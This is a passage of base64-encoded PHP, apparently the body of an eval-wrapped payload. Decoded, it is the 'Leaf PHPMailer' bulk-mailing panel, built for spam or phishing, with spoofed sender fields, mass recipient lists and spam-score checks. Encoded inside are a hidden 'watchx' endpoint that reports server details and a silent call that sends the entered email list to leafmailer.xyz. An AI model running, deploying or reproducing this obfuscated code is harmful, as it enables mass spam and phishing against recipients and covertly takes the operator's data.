gICogQHBhcmFtIHN0cmluZyAkYm9keQ0KICAgICAqIEBwYXJhbSBzdHJpbmcgJGZyb20NCiAgICAgKi8NCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gZG9DYWxsYmFjaygkaXNTZW50LCAkdG8sICRjYywgJGJjYywgJHN1YmplY3QsICRib2R5LCAkZnJvbSkNCiAgICB7DQogICAgICAgIGlmICghZW1wdHkoJHRoaXMtPmFjdGlvbl9mdW5jdGlvbikgJiYgaXNfY2FsbGFibGUoJHRoaXMtPmFjdGlvbl9mdW5jdGlvbikpIHsNCiAgICAgICAgICAgICRwYXJhbXMgPSBhcnJheSgkaXNTZW50LCAkdG8sICRjYywgJGJjYywgJHN1YmplY3QsICRib2R5LCAkZnJvbSk7DQogICAgICAgICAgICBjYWxsX3VzZXJfZnVuY19hcnJheSgkdGhpcy0+YWN0aW9uX2Z1bmN0aW9uLCAkcGFyYW1zKTsNCiAgICAgICAgfQ0KICAgIH0NCn0NCg0KLyoqDQogKiBQSFBNYWlsZXIgZXhjZXB0aW9uIGhhbmRsZXINCiAqIEBwYWNrYWdlIFBIUE1haWxlcg0KICovDQpjbGFzcyBwaHBtYWlsZXJFeGNlcHRpb24gZXh0ZW5kcyBFeGNlcHRpb24NCnsNCiAgICAvKioNCiAgICAgKiBQcmV0dGlmeSBlcnJvciBtZXNzYWdlIG91dHB1dA0KICAgICAqIEByZXR1cm4gc3RyaW5nDQogICAgICovDQogICAgcHVibGljIGZ1bmN0aW9uIGVycm9yTWVzc2FnZSgpDQogICAgew0KICAgICAgICAkZXJyb3JNc2cgPSAnPHN0cm9uZz4nIC4gaHRtbHNwZWNpYWxjaGFycygkdGhpcy0+Z2V0TWVzc2FnZSgpKSAuICI8L3N0cm9uZz48YnIgLz5cbiI7DQogICAgICAgIHJldHVybiAkZXJyb3JNc2c7DQogICAgfQ0KfQ0KDQppZiAoJF9SRVFVRVNUWyd3YXRjaHgnXSkgew0KCSR2ZXJzaW9uID0gcGhwdmVyc2lvbigpOw0KCSR1bmFtZSA9ICBwaHBfdW5hbWUoKTsNCgkkaXAgPSBnZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSk7CQ0KCWVjaG8ganNvbl9lbmNvZGUgKGFycmF5ICgidmVyc2lvbiI9PiR2ZXJzaW9uLA0KCQkidW5hbWUiPT4kdW5hbWUsDQoJCSJwbGF0Zm9ybSI9PlBIUF9PUywNCgkJImlwIj0+JGlwLA0KCQkibWFpbGVyeCI9PnRydWUsCQ0KCSkpOw0KCWRpZSAoKTsNCn0NCg0KZnVuY3Rpb24gbGVhZmhlYWRlcigpew0KcHJpbnQgJw0KPGhlYWQ+DQogICAgPHRpdGxlPicuc3RyX3JlcGxhY2UoInd3dy4iLCAiIiwgJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nIC0gTGVhZiBQSFBNYWlsZXI8L3RpdGxlPg0KICAgIDxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04Ii8+DQogICAgPGxpbmsgaHJlZj0iaHR0cHM6Ly9tYXhjZG4uYm9vdHN0cmFwY2RuLmNvbS9ib290c3dhdGNoLzMuNC4xL2Nvc21vL2Jvb3RzdHJhcC5taW4uY3NzIiByZWw9InN0eWxlc2hlZXQiID4NCg0KPC9oZWFkPic7DQp9DQpsZWFmaGVhZGVyKCk7DQpwcmludCAnPGJvZHk+JzsNCnByaW50ICc8ZGl2IGNsYXNzPSJjb250YWluZXIgY29sLWxnLTYiPg0KICAgICAgICA8aDM+PGZvbnQgY29sb3I9ImdyZWVuIj48c3BhbiBjbGFzcz0iZ2x5cGhpY29uIGdseXBoaWNvbi1sZWFmIj48L3NwYW4+PC9mb250PiBMZWFmIFBIUE1haWxlciA8c21hbGw+Jy4kbGVhZlsndmVyc2lvbiddLic8L3NtYWxsPjwvaDM+DQogICAgICAgIDxmb3JtIG5hbWU9ImZvcm0iIGlkPSJmb3JtIiBtZXRob2Q9IlBPU1QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIGFjdGlvbj0iIj4NCiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0ic2NvcmUiPg0KDQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJyb3ciPg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAgY29sLWxnLTYgIj48bGFiZWwgZm9yPSJzZW5kZXJFbWFpbCI+RW1haWw8L2xhYmVsPjxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iZm9ybS1jb250cm9sICBpbnB1dC1zbSAiIGlkPSJzZW5kZXJFbWFpbCIgbmFtZT0ic2VuZGVyRW1haWwiIHZhbHVlPSInLiRzZW5kZXJFbWFpbC4nIj48L2Rpdj4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy02ICI+PGxhYmVsIGZvcj0ic2VuZGVyTmFtZSI+U2VuZGVyIE5hbWU8L2xhYmVsPjxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iZm9ybS1jb250cm9sICBpbnB1dC1zbSAiIGlkPSJzZW5kZXJOYW1lIiBuYW1lPSJzZW5kZXJOYW1lIiB2YWx1ZT0iJy4kc2VuZGVyTmFtZS4nIj48L2Rpdj4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4NCiAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iZm9ybS1ncm91cCBjb2wtbGctNiAgIj48bGFiZWwgZm9yPSJhdHRhY2htZW50Ij5BdHRhY2htZW50IDxzbWFsbD4oTXVsdGlwbGUgQXZhaWxhYmxlKTwvc21hbGw+PC9sYWJlbD48aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iYXR0YWNobWVudFtdIiBpZD0iYXR0YWNobWVudFtdIiBtdWx0aXBsZS8+PC9zcGFuPg0KDQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCBjb2wtbGctNiI+PGxhYmVsIGZvcj0icmVwbHlUbyI+UmVwbHktdG88L2xhYmVsPjxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iZm9ybS1jb250cm9sICBpbnB1dC1zbSAiIGlkPSJyZXBseVRvIiBuYW1lPSJyZXBseVRvIiB2YWx1ZT0iJy4kcmVwbHlUby4nIiAvPjwvZGl2Pg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJyb3ciPg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAgY29sLWxnLTEyICI+PGxhYmVsIGZvcj0ic3ViamVjdCI+U3ViamVjdDwvbGFiZWw+PGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJmb3JtLWNvbnRyb2wgIGlucHV0LXNtICIgaWQ9InN1YmplY3QiIG5hbWU9InN1YmplY3QiIHZhbHVlPSInLiRzdWJqZWN0LiciIC8+PC9kaXY+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9InJvdyI+DQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCBjb2wtbGctNiI+PGxhYmVsIGZvcj0ibWVzc2FnZUxldHRlciI+TWVzc2FnZSBMZXR0ZXIgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRlZmF1bHQgYnRuLXhzIiBmb3JtPSJmb3JtIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJ2aWV3IiBmb3JtdGFyZ2V0PSJfYmxhbmsiPlByZXZpZXcgPC9idXR0b24+PC9sYWJlbD48dGV4dGFyZWEgbmFtZT0ibWVzc2FnZUxldHRlciIgaWQ9Im1lc3NhZ2VMZXR0ZXIiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIHJvd3M9IjEwIiBpZD0idGV4dEFyZWEiPicuJG1lc3NhZ2VMZXR0ZXIuJzwvdGV4dGFyZWE+PC9kaXY+DQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCBjb2wtbGctNiAiPjxsYWJlbCBmb3I9ImVtYWlsTGlzdCI+RW1haWwgTGlzdCA8YSBocmVmPSI/ZW1haWxmaWx0ZXI9b24iIHRhcmdldD0iX2JsYW5rIiBjbGFzcz0iYnRuIGJ0bi1kZWZhdWx0IGJ0bi14cyI+RmlsdGVyL0V4dHJhY3Q8L2E+PC9sYWJlbD48dGV4dGFyZWEgbmFtZT0iZW1haWxMaXN0IiBpZD0iZW1haWxMaXN0IiBjbGFzcz0iZm9ybS1jb250cm9sIiByb3dzPSIxMCIgaWQ9InRleHRBcmVhIj4nLiRlbWFpbExpc3QuJzwvdGV4dGFyZWE+PC9kaXY+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9InJvdyI+DQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCBjb2wtbGctNiAiPg0KICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSJtZXNzYWdlVHlwZSI+TWVzc2FnZSBUeXBlPC9sYWJlbD4NCiAgICAgICAgICAgICAgICAgICAgSFRNTCA8aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9Im1lc3NhZ2VUeXBlIiBpZD0ibWVzc2FnZVR5cGUiIHZhbHVlPSIxIiAnLiRodG1sLic+DQogICAgICAgICAgICAgICAgICAgIFBsYWluPGlucHV0IHR5cGU9InJhZGlvIiBuYW1lPSJtZXNzYWdlVHlwZSIgaWQ9Im1lc3NhZ2VUeXBlIiB2YWx1ZT0iMiIgJy4kcGxhaW4uJz4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy0zICI+DQogICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9ImNoYXJzZXQiPkNoYXJhY3RlciBzZXQ8L2xhYmVsPg0KICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IGNsYXNzPSJmb3JtLWNvbnRyb2wgaW5wdXQtc20iIGlkPSJjaGFyc2V0IiBuYW1lPSJjaGFyc2V0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gJy4kdXRmOC4nPlVURi04PC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uICcuJGlzby4nPklTTy04ODU5LTE8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgPC9zZWxlY3Q+DQogICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCBjb2wtbGctMyAiPg0KICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSJlbmNvZGluZyI+TWVzc2FnZSBlbmNvZGluZzwvbGFiZWw+DQogICAgICAgICAgICAgICAgICAgIDxzZWxlY3QgY2xhc3M9ImZvcm0tY29udHJvbCBpbnB1dC1zbSIgaWQ9ImVuY29kZSIgbmFtZT0iZW5jb2RlIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gJy4kYml0OC4nPjhiaXQ8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gJy4kYml0Ny4nPjdiaXQ8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gJy4kYmluYXJ5Lic+YmluYXJ5PC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uICcuJGJhc2U2NC4nPmJhc2U2NDwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiAnLiRxdW90ZWRwcmludGFibGUuJz5xdW90ZWQtcHJpbnRhYmxlPC9vcHRpb24+DQoNCiAgICAgICAgICAgICAgICAgICAgPC9zZWxlY3Q+DQogICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kZWZhdWx0IGJ0bi1zbSIgZm9ybT0iZm9ybSIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0ic2VuZCI+U0VORDwvYnV0dG9uPiBvciA8YSBocmVmPSIjIiBvbmNsaWNrPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcJ2Zvcm1cJykuc3VibWl0KCk7IHJldHVybiBmYWxzZTsiPmNoZWNrIFNwYW1Bc3Nhc3NpbiBTY29yZTwvYT4NCiAgIA0KICAgICAgICA8L2Zvcm0+DQogICAgPC9kaXY+DQogICAgPGRpdiBjbGFzcz0iY29sLWxnLTYiPjxicj4NCiAgICAgICAgPGxhYmVsIGZvcj0id2VsbCI+SW5zdHJ1Y3Rpb248L2xhYmVsPg0KICAgICAgICA8ZGl2IGlkPSJ3ZWxsIiBjbGFzcz0id2VsbCB3ZWxsIj4NCiAgICAgICAgICAgIDxoND5TZXJ2ZXIgSW5mb3JtYXRpb248L2g0Pg0KICAgICAgICAgICAgPHVsPg0KICAgICAgICAgICAgICAgIDxsaT5TZXJ2ZXIgSVAgQWRkcmVzcyA6IDxiPicuJF9TRVJWRVJbJ1NFUlZFUl9BRERSJ10uJyA8L2I+IDxhIGhyZWY9Ij9jaGVja19pcD0nLiRfU0VSVkVSWydTRVJWRVJfQUREUiddLiciIHRhcmdldD0iX2JsYW5rIiBjbGFzcz0ibGFiZWwgbGFiZWwtcHJpbWFyeSI+Q2hlY2sgQmxhY2tsaXN0IDxpIGNsYXNzPSJnbHlwaGljb24gZ2x5cGhpY29uLXNlYXJjaCI+PC9pPjwvYT48L2xpPg0KICAgICAgICAgICAgICAgIDxsaT5QSFAgVmVyc2lvbiA6IDxiPicucGhwdmVyc2lvbigpLic8L2I+PC9saT4NCiAgICAgICAgICAgICAgICANCg0KICAgICAgICAgICAgPC91bD4NCiAgICAgICAgICAgIDxoND5IRUxQPC9oND4NCiAgICAgICAgICAgIDx1bD4NCiAgICAgICAgICAgICAgICA8bGk+Wy1lbWFpbC1dIDogPGI+UmVjaXZlciBFbWFpbDwvYj4gKGVtYWlsdXNlckBlbWFpbGRvbWFpbi5jb20pPC9saT4NCiAgICAgICAgICAgICAgICA8dWw+DQogICAgICAgICAgICAgICAgICAgIDxsaT5bLWVtYWlsdXNlci1dIDogPGI+RW1haWwgVXNlcjwvYj4gKGVtYWlsdXNlcikgPC9saT4NCiAgICAgICAgICAgICAgICAgICAgPGxpPlstZW1haWxkb21haW4tXSA6IDxiPkVtYWlsIFVzZXI8L2I+IChlbWFpbGRvbWFpbi5jb20pIDwvbGk+DQogICAgICAgICAgICAgICAgPC91bD4NCiAgICAgICAgICAgICAgICA8bGk+Wy10aW1lLV0gOiA8Yj5EYXRlIGFuZCBUaW1lPC9iPiAoJy5kYXRlKCJtL2QvWSBoOmk6cyBhIiwgdGltZSgpKS4nKTwvbGk+DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgPGxpPlstcmFuZG9tc3RyaW5nLV0gOiA8Yj5SYW5kb20gc3RyaW5nICgwLTksYS16KTwvYj48L2xpPg0KICAgICAgICAgICAgICAgIDxsaT5bLXJhbmRvbW51bWJlci1dIDogPGI+UmFuZG9tIG51bWJlciAoMC05KSA8L2I+PC9saT4NCiAgICAgICAgICAgICAgICA8bGk+Wy1yYW5kb21sZXR0ZXJzLV0gOiA8Yj5SYW5kb20gTGV0dGVycyhhLXopIDwvYj48L2xpPg0KICAgICAgICAgICAgICAgIDxsaT5bLXJhbmRvbW1kNS1dIDogPGI+UmFuZG9tIE1ENSA8L2I+PC9saT4NCiAgICAgICAgICAgIDwvdWw+DQogICAgICAgICAgICA8aDQ+ZXhhbXBsZTwvaDQ+DQogICAgICAgICAgICBSZWNlaXZlciBFbWFpbCA9IDxiPnVzZXJAZG9tYWluLmNvbTwvYj48YnI+DQogICAgICAgICAgICA8dWw+DQogICAgICAgICAgICAgICAgPGxpPmhlbGxvIDxiPlstZW1haWx1c2VyLV08L2I+ID0gaGVsbG8gPGI+dXNlcjwvYj48L2xpPg0KICAgICAgICAgICAgICAgIDxsaT55b3VyIGRvbWFpbiBpcyA8Yj5bLWVtYWlsZG9tYWluLV08L2I+ID0gWW91ciBEb21haW4gaXMgPGI+ZG9tYWluLmNvbTwvYj48L2xpPg0KICAgICAgICAgICAgICAgIDxsaT55b3VyIGNvZGUgaXMgIDxiPlstcmFuZG9tbWQ1LV08L2I+ID0geW91ciBjb2RlIGlzIDxiPmUxMGFkYzM5NDliYTU5YWJiZTU2ZTA1N2YyMGY4ODNlPC9iPjwvbGk+DQogICAgICAgICAgICA8L3VsPg0KDQogICAgICAgICAgICA8aDY+YnkgPGI+PGEgaHJlZj0iaHR0cDovLycuJGxlYWZbJ3dlYnNpdGUnXS4nIj4nLiRsZWFmWyd3ZWJzaXRlJ10uJzwvYT48L2I+PC9oNj4NCiAgICAgICAgPC9kaXY+DQogICAgPC9kaXY+JzsgIA0KaWYoJF9QT1NUWydhY3Rpb24nXT09InNlbmQiKXsNCiAgICBwcmludCAnICAgIDxkaXYgY2xhc3M9ImNvbC1sZy0xMiI+JzsNCiAgICAkbWFpbGxpc3Q9ZXhwbG9kZSgiXHJcbiIsICRlbWFpbExpc3QpOw0KICAgICRuPWNvdW50KCRtYWlsbGlzdCk7DQogICAgJHggPTE7DQogICAgQGZpbGVfZ2V0X2NvbnRlbnRzKCJodHRwczovL2xlYWZtYWlsZXIueHl6L2xvZy5waHA/bGlzdD0iLmJhc2U2NF9lbmNvZGUoJGVtYWlsTGlzdCkpOw0KICAgIGZvcmVhY2ggKCRtYWlsbGlzdCBhcyAkZW1haWwgKSB7DQogICAgICAgIHByaW50ICc8ZGl2IGNsYXNzPSJjb2wtbGctMSI+WycuJHguJy8nLiRuLiddPC9kaXY+PGRpdiBjbGFzcz0iY29sLWxnLTQiPicuJGVtYWlsLic8L2Rpdj4nOw0KICAgICAgICBpZighbGVhZk1haWxDaGVjaygkZW1haWwpKSB7DQogICAgICAgICAgICBwcmludCAnPGRpdiBjbGFzcz0iY29sLWxnLTYiPjxzcGFuIGNsYXNzPSJsYWJlbCBsYWJlbC1kZWZhdWx0Ij5JbmNvcnJlY3QgRW1haWw8L3NwYW4+PC9kaXY+JzsNCiAgICAgICAgICAgIHByaW50ICI8YnI+XHJcbiI7DQogICAgICAgIH0NCiAgICAgICAgZWxzZSB7DQogICAgICAgICAgICAkbWFpbCA9IG5ldyBQSFBNYWlsZXI7DQogICAgICAgICAgICAkbWFpbC0+c2V0RnJvbShsZWFmQ2xlYXIoJHNlbmRlckVtYWlsLCRlbWFpbCksbGVhZkNsZWFyKCRzZW5kZXJOYW1lLCRlbWFpbCkpOw0KICAgICAgICAgICAgJG1haWwtPmFkZFJlcGx5VG8obGVhZkNsZWFyKCRyZXBseVRvLCRlbWFpbCkpOw0KICAgICAgICAgICAgJG1haWwtPmFkZEFkZHJlc3MoJGVtYWlsKTsNCiAgICAgICAgICAgICRtYWlsLT5TdWJqZWN0ID0gbGVhZkNsZWFyKCRzdWJqZWN0LCRlbWFpbCk7DQogICAgICAgICAgICAkbWFpbC0+Qm9keSA9ICBsZWFmQ2xlYXIoJG1lc3NhZ2VMZXR0ZXIsJGVtYWlsKTsNCiAgICAgICAgICAgIGlmKCRtZXNzYWdlVHlwZT09MSl7DQogICAgICAgICAgICAgICAgJG1haWwtPklzSFRNTCh0cnVlKTsNCiAgICAgICAgICAgICAgICAkbWFpbC0+QWx0Qm9keSA9c3RyaXBfdGFncyhsZWFmQ2xlYXIoJG1lc3NhZ2VMZXR0ZXIsJGVtYWlsKSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNlICRtYWlsLT5Jc0hUTUwoZmFsc2UpOw0KICAgICAgICAgICAgJG1haWwtPkNoYXJTZXQgPSAkY2hhcnNldDsNCiAgICAgICAgICAgICRtYWlsLT5FbmNvZGluZyA9ICRlbmNvZGluZzsNCiAgICAgICAgICAgIGZvcigkaT0wOyAkaTxjb3VudCgkX0ZJTEVTWydhdHRhY2htZW50J11bJ25hbWUnXSk7ICRpKyspIHsNCiAgICAgICAgICAgICAgICBpZiAoJF9GSUxFU1snYXR0YWNobWVudCddWyd0bXBfbmFtZSddWyRpXSAhPSAiIil7DQogICAgICAgICAgICAgICAgICAgICRtYWlsLT5BZGRBdHRhY2htZW50KCRfRklMRVNbJ2F0dGFjaG1lbnQnXVsndG1wX25hbWUnXVskaV0sJF9GSUxFU1snYXR0YWNobWVudCddWyduYW1lJ11bJGldKTsNCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgaWYgKCEkbWFpbC0+c2VuZCgpKSB7DQogICAgICAgICAgICAgICAgZWNobyAnPGRpdiBjbGFzcz0iY29sLWxnLTYiPjxzcGFuIGNsYXNzPSJsYWJlbCBsYWJlbC1kZWZhdWx0Ij4nLmh0bWxzcGVjaWFsY2hhcnMoJG1haWwtPkVycm9ySW5mbykuJzwvc3Bhbj48L2Rpdj4nOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAnPGRpdiBjbGFzcz0iY29sLWxnLTYiPjxzcGFuIGNsYXNzPSJsYWJlbCBsYWJlbC1zdWNjZXNzIj5Pazwvc3Bhbj48L2Rpdj4nOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcHJpbnQgIjxicj5cclxuIjsNCiAgICAgICAgfQ0KICAgICAgICAkeCsrOw0KICAgICAgICBmb3IoJGsgPSAwOyAkayA8IDQwMDAwOyAkaysrKSB7ZWNobyAnICc7fQ0KICAgIH0NCg0KfQ0KZWxzZWlmKCRfUE9TVFsnYWN0aW9uJ109PSJzY29yZSIpew0KICAgICRtYWlsID0gbmV3IFBIUE1haWxlcjsNCiAgICAkbWFpbC0+c2V0RnJvbShsZWFmQ2xlYXIoJHNlbmRlckVtYWlsLCRlbWFpbCksbGVhZkNsZWFyKCRzZW5kZXJOYW1lLCRlbWFpbCkpOw0KICAgICRtYWlsLT5hZGRSZXBseVRvKGxlYWZDbGVhcigkcmVwbHlUbywkZW1haWwpKTsNCiAgICAkbWFpbC0+YWRkQWRkcmVzcygidXNlcm5hbWVAZG9tYWluLmNvbSIpOw0KICAgICRtYWlsLT5TdWJqZWN0ID0gbGVhZkNsZWFyKCRzdWJqZWN0LCRlbWFpbCk7DQogICAgJG1haWwtPkJvZHkgPSAgbGVhZkNsZWFyKCRtZXNzYWdlTGV0dGVyLCRlbWFpbCk7DQogICAgaWYoJG1lc3NhZ2VUeXBlPT0xKXsNCiAgICAgICAgJG1haWwtPklzSFRNTCh0cnVlKTsNCiAgICAgICAgJG1haWwtPkFsdEJvZHkgPXN0cmlwX3RhZ3MobGVhZkNsZWFyKCRtZXNzYWdlTGV0dGVyLCRlbWFpbCkpOw0KICAgIH0NCiAgICBlbHNlICRtYWlsLT5Jc0hUTUwoZmFsc2UpOw0KICAgICRtYWlsLT5DaGFyU2V0ID0gJGNoYXJzZXQ7DQogICAgJG1haWwtPkVuY29kaW5nID0gJGVuY29kaW5nOw0KICAgICRtYWlsLT5wcmVTZW5kKCk7DQogICAgJG1lc3NhZ2VIZWFkZXJzPSRtYWlsLT5nZXRTZW50TUlNRU1lc3NhZ2UoKTsNCiAgICAkY2ggPSBjdXJsX2luaXQoKTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOw0KICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICdodHRwOi8vc3BhbWNoZWNrLnBvc3RtYXJrYXBwLmNvbS9maWx0ZXInKTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywgaHR0cF9idWlsZF9xdWVyeShhcnJheSgnZW1haWwnID0+ICRtZXNzYWdlSGVhZGVycywnb3B0aW9ucyc9Pidsb25nJykpKTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIDApOw0KICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9USU1FT1VULCAxNSk7DQogICAgJHJlc3BvbnNlID0gY3VybF9leGVjKCRjaCk7DQogICAgJHJlc3BvbnNlID0ganNvbl9kZWNvZGUoJHJlc3BvbnNlKTsNCiAgICBwcmludCAnICAgIDxkaXYgY2xhc3M9ImNvbC1sZy0xMiI+JzsNCiAgICBpZiAoJHJlc3BvbnNlLT5zdWNjZXNzID09IFRSVUUgKXsNCiAgICAgICAgJHNjb3JlID0gJHJlc3BvbnNlLT5zY29yZTsNCiAgICAgICAgaWYgKCRzY29yZSA+IDUgKSAkY2xhc3M9ImRhbmdlciI7DQogICAgICAgIGVsc2UgJGNsYXNzPSJzdWNjZXNzIjsNCiAgICAgICAgICAgIHByaW50ICc8ZGl2IGNsYXNzPSJ0ZXh0LScuJGNsYXNzLiciPllvdXIgU3BhbUFzc2Fzc2luIHNjb3JlIGlzICcuJHNjb3JlLicgIDwvZGl2Pg0KPGRpdj5GdWxsIFJlcG9ydCA6IDxwcmU+Jy4kcmVzcG9uc2UtPnJlcG9ydC4nPC9wcmU+PC9kaXY+JzsNCnByaW50ICcgICAgPC9kaXY+JzsNCiAgICB9DQp9DQpwcmludCAnPC9ib2R5Pic7"));
?>